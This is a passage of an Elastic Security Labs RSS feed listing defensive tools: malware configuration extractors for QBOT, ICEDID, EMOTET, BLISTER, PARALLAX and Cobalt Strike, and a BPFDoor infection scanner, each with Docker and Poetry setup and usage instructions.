poetry install
poetry shell
qbot-config-extractor -h
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/qbot-configuration-extractor</link>
    <guid isPermaLink="false">qbot-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f02f18d4cdef033/6a7d83fea529e10c7b59c962/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[ICEDID Configuration Extractor]]></title>
    <description><![CDATA[Python script to extract the configuration from ICEDID samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the payload from ICEDID samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt95ce19ae8cffda29/6351abcf20f42038fb989fae/icedid-config-extractor.tar.gz">Download icedid-configuration-extractor.tar.gz</a></p>
<blockquote>
  <p>For information on the ICEDID malware and network infrastructure, check out the following resources:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well">ICEDIDs network infrastructure is alive and well</a></li>
  <li><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb86bffd1aef20c5b/6351aba34e565f1cdce29da5/icedid-checker.tar.gz">ICEDID network infrastructure checking utility</a></li>
  </ul>
</blockquote>
<h2 id="gettingstarted">Getting started</h2>
<h3 id="docker">Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t icedid_loader_config_extractor
</code></pre>
<p>Then we run the container with the -v flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest --help
</code></pre>
<h3 id="runningitlocally">Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
poetry lock
poetry install
poetry shell
icedid_loader_config_extractor --help
</code></pre>
<h2 id="usage">Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data icedid_loader_config_extractor:latest -d "C:\tmp\samples"
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7792af5514f05d89/6a7d823551156a9a572bf899/196841115-5a3a0d95-8df4-45c2-9baa-264cfa9530e9.jpg" alt="ICEDID configuration extractor" title="ICEDID configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/icedid-configuration-extractor</link>
    <guid isPermaLink="false">icedid-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4e5f28ba12e2f23b/6a7d8238bdcff04c02c40088/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[BPFDoor Configuration Extractor]]></title>
    <description><![CDATA[Configuration extractor to dump out hardcoded passwords with BPFDoor.]]></description>
    <content:encoded><![CDATA[<p>Configuration extractor to dump out hardcoded passwords with BPFDoor.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f57100ade3473c5/62882ccdb4fa6b61ed70ba87/bpfdoor-config-extractor.tar.gz">Download bpfdoor-config-extractor.tar.gz</a></p>
<h2 id="overview">Overview</h2>
<p>This tool provides a Python module and command line tool that will extract passwords from BPFDoor samples.</p>
<blockquote>
  <p>The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will scan for BPFDoor infected hosts.</p>
  <ul>
  <li><a href="https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/">BPFDoor analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/bpfdoor-scanner">BPFDoor scanner</a></li>
  </ul>
</blockquote>
<h2 id="gettingstarted">Getting Started</h2>
<h3 id="docker">Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image.</p>
<pre><code>Building the BPFDoor Docker image

docker build . -t bpfdoor-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the Docker container directory that contains the BPFDoor samples.</p>
<pre><code>Running the BPFDoor Docker container

docker run -ti --rm -v $(pwd)/binaries:/binaries \
  bpfdoor-extractor:latest -d /binaries/
</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong></p>
<pre><code>BPFDoor Configuration Extractor help output

docker run -ti --rm bpfdoor-extractor:latest -h

Author: Elastic Security (MARE)

______ ______ ______ ______
| ___ \| ___ \|  ___||    \
| |_/ /| |_/ /| |_   | | | | ___    ___    __
| ___ \|  __/ |  _|  | | | |/  \  /  \ | '__|
| |_/ /| |    | |    | |/ /| (_) || (_) || |
\____/ \_|    \_|    |___/  \___/  \___/ |_|
 _____                 __            _____                             
/  __ \               / _|(_)        |  ___|     | |                    | |
| /  \/  ___    __  | |_     __   | |__ __  __| |_   __  __    ___ | |_  ___    __
| |     /  \ | '_ \ |  _|| | / _` | |  __|\ \/ /| __|| '__|/ _` | / __|| __|/  \ | '__|
| \__/\| (_) || | | || |  | || (_| | | |___ &gt;  &lt; | |_ | |  | (_| || (__ | |_| (_) || |
 \____/ \___/ |_| |_||_|  |_| \__, | \____//_/\_\ \__||_|   \__,_| \___| \__|\___/ |_|
                               __/ |
                              |___/


usage: bpfdoor-extractor [-h] (-f FILENAME | -d DIRNAME)

options:
  -h, --help            show this help message and exit
  -f FILENAME, --file FILENAME
                        File
  -d DIRNAME, --dir DIRNAME
                        Directory
</code></pre>
<h3 id="runningitlocally">Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
bpfdoor-extractor --help
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/bpfdoor-configuration-extractor</link>
    <guid isPermaLink="false">bpfdoor-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc7b6cb0fc160f109/6a7d7e01e02facaf7d5d34b4/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[PARALLAX Payload Extractor]]></title>
    <description><![CDATA[Python script to extract the payload from PARALLAX samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the payload from PARALLAX samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcec03c5c91923f5/633613d524bebb2394c2773d/parallax-payload-extractor.tar.gz">Download parallax-payload-extractor.tar.gz</a></p>
<blockquote>
  <p>For information on the PARALLAX malware loader and campaign observations, check out our <a href="https://elastic.co/security-labs/exploring-the-ref2731-intrusion-set">blog posts</a> detailing this intrusion set.</p>
</blockquote>
<h2 id="gettingstarted">Getting started</h2>
<h3 id="docker">Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t parallax_loader_payload_extractor
</code></pre>
<p>Then we run the container with the -v flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest --help
</code></pre>
<h3 id="runningitlocally">Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
parallax_loader_payload_extractor --help
</code></pre>
<h2 id="usage">Usage</h2>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>. You can use the -o switch to set the output directory of the payloads.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data parallax_loader_payload_extractor:latest -d /data -o /data
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd87e2e5bbf7eb516/6a7d8399ead8ecd027ba7b70/image41.jpg" alt="PARALLAX payload extractor" title="PARALLAX payload extractor" /></p>
<p>You can collect the extracted payloads from the directory you set when running the extractor, the data directory in the root of the extractor in the above example.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/parallax-payload-extractor</link>
    <guid isPermaLink="false">parallax-payload-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt03c5c0ca9a9318b7/6a7d839c92013077ff352ca4/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[BPFDoor Scanner]]></title>
    <description><![CDATA[Python script to identify hosts infected with the BPFDoor malware.]]></description>
    <content:encoded><![CDATA[<p>Python script to identify hosts infected with the BPFDoor malware.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae9bafece9048014/62882b50dcc93261eccb04e2/bpfdoor-scanner.tar.gz">Download bpfdoor-scanner.tar.gz</a></p>
<h2 id="gettingstarted">Getting Started</h2>
<p>This tool provides a Python script to identify hosts that are infected with the BPFDoor malware.</p>
<blockquote>
  <p>The Elastic Security Team has released an indepth analysis of the BPFDoor malware and created an additional tool that will extract configurations from BPFDoor malware samples.</p>
  <ul>
  <li><a href="https://bookish-bassoon-c37be003.pages.github.io/intelligence/2022/05/04.bpfdoor/article/">BPFDoor analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/bpfdoor-configuration-extractor">BPFDoor configuration extractor</a></li>
  </ul>
</blockquote>
<h3 id="permissions">Permissions</h3>
<p>On Linux (and thus in a container), the tool requires the following permissions:</p>
<ul>
<li>CAP_NET_BIND_SERVICE</li>
<li>CAP_NET_RAW</li>
</ul>
<p>On any *NIX host, running the script with sudo will get you what you need. As long as you don’t strip the privileges listed for your container and you publish the UDP port you intend to receive on, you should be set.</p>
<h3 id="docker">Docker</h3>
<p>We can easily run the scanner with Docker, first we need to build the image:</p>
<pre><code>Building the BPFDoor scanner Docker image

docker build . -t bpfdoor-scanner
</code></pre>
<h2 id="usage">Usage</h2>
<p>Once you’be built the Docker iamge, we can run the container to get a list of the options.</p>
<pre><code>Runing the BPFDoor container

docker run -ti --rm bpfdoor-scanner:latest --help

Usage: bpfdoor-scanner [OPTIONS]

  Sends a discovery packet to suspected BPFDoor endpoints.

  Example usage:

      sudo ./bpfdoor-scanner --target-ip 1.2.3.4

  Sends a packet to IP 1.2.3.4 using the default target port 68/UDP (tool
  listens on all ports) using the default interface on this host and listens
  on port 53/UDP to masquerade as traffic.

  NOTE: Elevated privileges are required for source ports &lt; 1024.

Options:
  --target-ip TEXT       [required]
  --target-port INTEGER  [default: 68]
  --source-ip TEXT       IP for target to respond to and attempt to bind
                         locally  [default: 172.17.0.3]
  --source-port INTEGER  Local port to listen on for response  [default: 53]
  --timeout INTEGER      Number of seconds to wait for response  [default: 5]
  -v, --verbose          Show verbose output
  -d, --debug            Show debug output
  --version
  --help                 Show this message and exit.
</code></pre>
<p>The minimum required option is just --target-ip. The rest have defaults. For running in a container, you’ll want to publish the return port (defaults to 53) and specify --source-ip of the host interface you wish to use. In the following example, the IP 192.168.100.10 is the interface on my host that will receive the packet.</p>
<pre><code>Example running the BPFDoor scanner

docker run -ti --publish 53:53/udp --rm bpfdoor-scanner:latest \
  --target-ip 192.168.32.18 --source-ip 192.168.100.10
</code></pre>
<h2 id="runninglocally">Running Locally</h2>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>Running BPFDoor scanner locally

poetry lock
poetry install
poetry shell
sudo bpfdoor-scanner --help
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/bpfdoor-scanner</link>
    <guid isPermaLink="false">bpfdoor-scanner</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ce4c91cdc9f01dd/6a7d7e051967ea8ccd32d829/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Cobalt Strike Beacon Extractor]]></title>
    <description><![CDATA[Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.]]></description>
    <content:encoded><![CDATA[<p>Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdbc4f9f2366d2f06/628829603b9b8554904a4ba2/cobalt-strike-extractor.tar.gz">Download cobalt-strike-extractor.tar.gz</a></p>
<h2 id="overview">Overview</h2>
<p>This tool provides a Python module and command line tool that will search Elastic Endpoint alert data for detections of Cobalt Strike and the extracted memory data. When present, this tool will extract the implant configuration using the <a href="https://github.com/strozfriedberg/cobaltstrike-config-extractor">cobaltstrike-config-extractor</a>. The information is then normalized into an ECS-formatted JSON document and indexed into an Elasticsearch cluster or output to the terminal as JSON.</p>
<blockquote>
  <p>For help on creating Fleet policies to collect and analyze Cobalt Strike beacons in the Elastic Stack, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">Collecting Colbalt Strike beacons</a></li>
  <li><a href="https://www.elastic.co/security-labs/extracting-cobalt-strike-beacon-configurations">Extracting Cobalt Strike beacon configurations</a></li>
  </ul>
</blockquote>
<h2 id="gettingstarted">Getting Started</h2>
<h3 id="docker">Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t cobalt-strike-extractor
</code></pre>
<p>Next, make a copy of config.reference.yml and name it config.local.yml and edit for your environment. A minimal config looks like the example below. The input and output could use the same values, but you can optionally push it to a different cluster for analysis.</p>
<pre><code>## Using an Elastic Cloud instance (this is a randomly generated example)
input.elasticsearch:
  enabled: True
  cloud.id: security-cluster:dXMtd2VzdDEuZ2NwLmNsb3VkLmVzLmlvJGU0MWU1YTc3YmRjNzY2OTY0MDg2NjIzNDA5NzFjNjFkJDdlYjRlYTJkMzJkMTgzYTRiMmJkMjlkNTNjODhjMjQ4
  cloud.auth: elastic:&lt;PASSWORD&gt;

## Default output will use localhost:9092, see reference config
output.elasticsearch:
  enabled: True
  username: elastic
  password: &lt;PASSWORD&gt;
</code></pre>
<p>Now, run the container, passing in our local configuration. The -v flag here will add informational messages to the log output. Here, it tells us how many documents were successfully parsed and written.</p>
<pre><code>docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
    cobalt-strike-extractor:latest -c /config.yml -v
</code></pre>
<p><em>Output</em>:</p>
<pre><code>[2022-01-10T21:33:31.493][INFO] Setting up input/output
[2022-01-10T21:33:31.493][INFO] Connecting to Elasticsearch for input
[2022-01-10T21:33:31.493][INFO] Successfully connected to Elasticsearch for input
[2022-01-10T21:33:31.834][INFO] Connecting to Elasticsearch for output
[2022-01-10T21:33:31.835][INFO] Successfully connected to Elasticsearch for output
[2022-01-10T21:33:33.030][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.078][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.093][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.096][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.097][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.098][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.186][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.191][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.461][WARNING] Could not parse source as PE file (DOS Header magic not found.)
[2022-01-10T21:33:33.516][WARNING] CobaltStrike Beacon config not found:
[2022-01-10T21:33:33.927][INFO] Wrote 2 docs to Elasticsearch
</code></pre>
<p>The [WARNING] messages here are to be expected. These are simply source documents that didn’t contain the configuration information.</p>
<h4 id="filterbytime">Filter by time</h4>
<p>To limit the search by time frame, you can add the --since argument, which takes either an ISO-formatted date time string or you can use <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-range-query.html#ranges-on-dates">Elastic date math</a>. For example, to limit search to the last 30 days, you can do the following.</p>
<pre><code>docker run -ti --rm -v "$(pwd)/config.local.yml:/config.yml" \
    cobalt-strike-extractor:latest --since "now-30d/d" -c config.local.yml
</code></pre>
<h4 id="pipeoutputtoothertools">Pipe output to other tools</h4>
<p>Lastly, you can pipe the output to other commands, such as jq to do local analysis. You can also override the configuration file values using environment variables.</p>
<pre><code>docker run -i --rm -a stdin -a stdout -a stderr \
    -v "$(pwd)/config.local.yml:/config.yml" \
    -e "OUTPUT_ELASTICSEARCH_ENABLED=False" \
    -e "OUTPUT_CONSOLE_ENABLED=True" cobalt-strike-extractor:latest -c /config.yml -q | jq  '.cobaltstrike.server.hostname'
</code></pre>
<p>In the example above, we disabled the Elasticsearch output and enabled the Console output using environment variables. We made the output more quiet using the -q flag (hiding the warnings). Then, we used jq to just pull out the “hostname” value of the configuration.</p>
<h3 id="runningitlocally">Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
cobalt-strike-extractor --help
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/cobalt-strike-beacon-extractor</link>
    <guid isPermaLink="false">cobalt-strike-beacon-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc57d646d784557c9/6a7d7e533ce8e2ca91cf25f4/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[EMOTET Configuration Extractor]]></title>
    <description><![CDATA[Python script to extract the configuration from EMOTET samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the payload from EMOTET samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2addf7080c31792/635ad4a5a739cc5f6cbd595e/emotet-configuration-extractor.tar.gz">Download emotet-configuration-extractor.tar.gz</a></p>
<blockquote>
  <p>For information on the EMOTET malware check out the following resources:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction">EMOTET Dynamic Configuration Extraction</a></li>
  </ul>
</blockquote>
<h2 id="gettingstarted">Getting started</h2>
<h3 id="docker">Docker</h3>
<p>The recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.</p>
<pre><code>docker build . -t emotet-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory.</p>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest --help
</code></pre>
<h3 id="runningitlocally">Running it locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
emotet-config-extractor --help
</code></pre>
<h2 id="usage">Usage</h2>
<p>All samples need to be unpacked prior to execution extraction attempts.</p>
<p>Our extractor takes either a directory of samples with <strong>-d</strong> option or <strong>-f</strong> for a single sample and then can output parts of the configuration of note, specifically:</p>
<ul>
<li><strong>-k</strong> : extract the encryption keys</li>
<li><strong>-c</strong> : extract the C2 information</li>
<li><strong>-s</strong> : extract the wide-character strings</li>
<li><strong>-a</strong> : extract the ASCII character strings</li>
</ul>
<pre><code>docker run -ti --rm -v $(pwd)/data:/data emotet-config-extractor:latest -d "C:\tmp\samples"
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4a8756e3178b5b8a/6a7d7fc32f00b29d28efbea6/image.jpg" alt="EMOTET configuration extractor" title="EMOTET configuration extractor" /></p>
<p>You can collect the extracted configurations from the directory you set when running the extractor.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/emotet-configuration-extractor</link>
    <guid isPermaLink="false">emotet-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d0a0aa0366c1ede/6a7d7fc6fc63ab2ba1649f74/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[BLISTER Configuration Extractor]]></title>
    <description><![CDATA[Python script to extract the configuration and payload from BLISTER samples.]]></description>
    <content:encoded><![CDATA[<p>Python script to extract the configuration and payload from BLISTER samples.</p>
<p><a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9bce8a0e1a513bd5/62882db13b9b8554904a4baa/blister-config-extractor.tar.gz">Download blister-config-extractor.tar.gz</a></p>
<h2 id="gettingstarted">Getting Started</h2>
<p>This tool provides a Python module and command line tool that will extract configurations from the BLISTER malware loader and dump the results to screen.</p>
<blockquote>
  <p>For information on the BLISTER malware loader and campaign observations, check out our blog posts detailing this:</p>
  <ul>
  <li><a href="https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign">BLISTER Campaign Analysis</a></li>
  <li><a href="https://www.elastic.co/security-labs/blister-loader">BLISTER Malware Analysis</a></li>
  </ul>
</blockquote>
<h3 id="docker">Docker</h3>
<p>We can easily run the extractor with Docker, first we need to build the image:</p>
<pre><code>docker build . -t blister-config-extractor
</code></pre>
<p>Then we run the container with the <strong>-v</strong> flag to map a host directory to the docker container directory:</p>
<pre><code>docker run -ti --rm -v \
"$(pwd)/binaries":/binaries blister-config-extractor:latest -d /binaries/
</code></pre>
<p>We can either specify a single sample with <strong>-f</strong> option or a directory of samples with <strong>-d</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d3d3ab4cfe665c6/6a7d7dfa73d9bdb2c929ab55/blister-configuration-extractor-image41.jpg" alt="BLISTER configuration extrator output" title="BLISTER configuration extrator output" /></p>
<h3 id="runningitlocally">Running it Locally</h3>
<p>As mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses <a href="https://python-poetry.org/">Poetry</a> to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.</p>
<pre><code>poetry lock
poetry install
poetry shell
blister-config-extractor -h
</code></pre>
<p>Once that works, you can do the same sort of things as mentioned in the Docker instructions above.</p>
<h2 id="references">References</h2>
<ul>
<li>Customised Rabbit cipher implementation based on <a href="https://github.com/Robin-Pwner/Rabbit-Cipher/">Rabbit-Cipher</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/blister-configuration-extractor</link>
    <guid isPermaLink="false">blister-configuration-extractor</guid>
    <category><![CDATA[Integrations & Tools]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1c3035bae58d1420/6a7d7dfd77b03461923fc5c8/tools-image.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>